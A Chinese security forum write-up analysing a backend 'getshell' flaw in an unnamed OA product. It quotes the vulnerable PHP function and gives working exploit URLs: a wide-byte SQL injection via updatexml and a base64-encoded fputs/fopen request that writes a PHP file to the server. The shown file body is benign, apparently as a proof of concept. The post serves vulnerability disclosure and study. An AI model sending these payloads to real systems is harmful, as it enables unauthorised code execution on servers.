某OA 后台 Getshell 发现及分析
russell06 漏洞分析 5985浏览 · 2021-09-27 03:12

漏洞发现

某OA 老版本中很多 SQL 语句都是直接采用拼接变量的形式,再加上此程序通篇的 gbk 编码,因此存在多处宽字节注入。在前辈的此篇文章中就提到了利用宽字节注入配合文件包含来 getshell,遂打算从注入点入手,来看看有没有漏网之鱼。

漏洞分析

漏洞点一

  • getModuleQuickLinkStr( ) 函数中将 $entity_name 直接拼接在字符串中并返回
    // webroot\general\crm\apps\crm\include\interface\list.interface.php
    function getModuleQuickLinkStr( $entity )
    {
      global $connection;
      global $LOGIN_USER_ID;
      global $g_STUDIO_PATH;
      global $LOGIN_DEPT_ID_JUNIOR;
      global $LOGIN_DEPT_ID;
      global $LOGIN_USER_PRIV;
      global $LOGIN_USER_PRIV_OTHER;
      global $LOGIN_DEPT_ID_OTHER;
      if ( $LOGIN_USER_PRIV_OTHER != $LOGIN_USER_PRIV )
      {
          $TEMP_LOGIN_USER_PRIV = explode( ",", $LOGIN_USER_PRIV_OTHER );
      }
      else
      {
          $TEMP_LOGIN_USER_PRIV = $LOGIN_USER_PRIV;
      }
      include_once( $g_STUDIO_PATH."/include/entityAction.php" );
      include_once( $g_STUDIO_PATH."/include/classes/quickLink.class.php" );
      if ( empty( $entity ) )
      {
          return FALSE;
      }
      $o = new QuickLink( $connection, $entity );
      $o->LoadQuickLink( );
      $entitys = $o->get_selectedEntitys( );
      if ( empty( $entitys ) )
      {
      }
      else
      {
          $str = "<select onfocus='QuickCreat.selectMonitor(this);' onchange='QuickCreat.selectMonitor(this);'><option value=''>"._( "快捷方式.." )."</option>";
          foreach ( $entitys as $entity_name => $entity_label )
          {
              if ( 0 < getviewprivofmodule( $entity_name, $TEMP_LOGIN_USER_PRIV ) )
              {
                  $str .= "<option value='".$entity_name."' title='{$entity_label}'>".( 18 < strlen( $entity_label ) ? substr( $entity_label, 0, 16 ).".." : $entity_label )."</option>";
              }
          }
          $str .= "</select>";
          return $str;
      }
    }
    

漏洞点二

  • 全局搜索发现 webroot\general\crm\studio\modules\recycle\show.php 文件中调用了 getModuleQuickLinkStr( ) 函数

  • 查看 $ENTITY 是否可控

  • 尝试利用

  • 宽字节注入

    /general/crm/studio/modules/recycle/show.php?entity_name=1%da' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

  • Getshell

    注意:base64 编码之后的 payload 中不能包含 ' = ' ,否则无法写入 shell

    /general/crm/studio/modules/recycle/show.php?entity_name=1%d5' ${ fputs(fopen(base64_decode(YXY4ZC5waHA),w),base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw))} #



1 条评论
某人
表情
可输入 255
Marcok丶
2021-11-11 07:53 0 回复

ddddb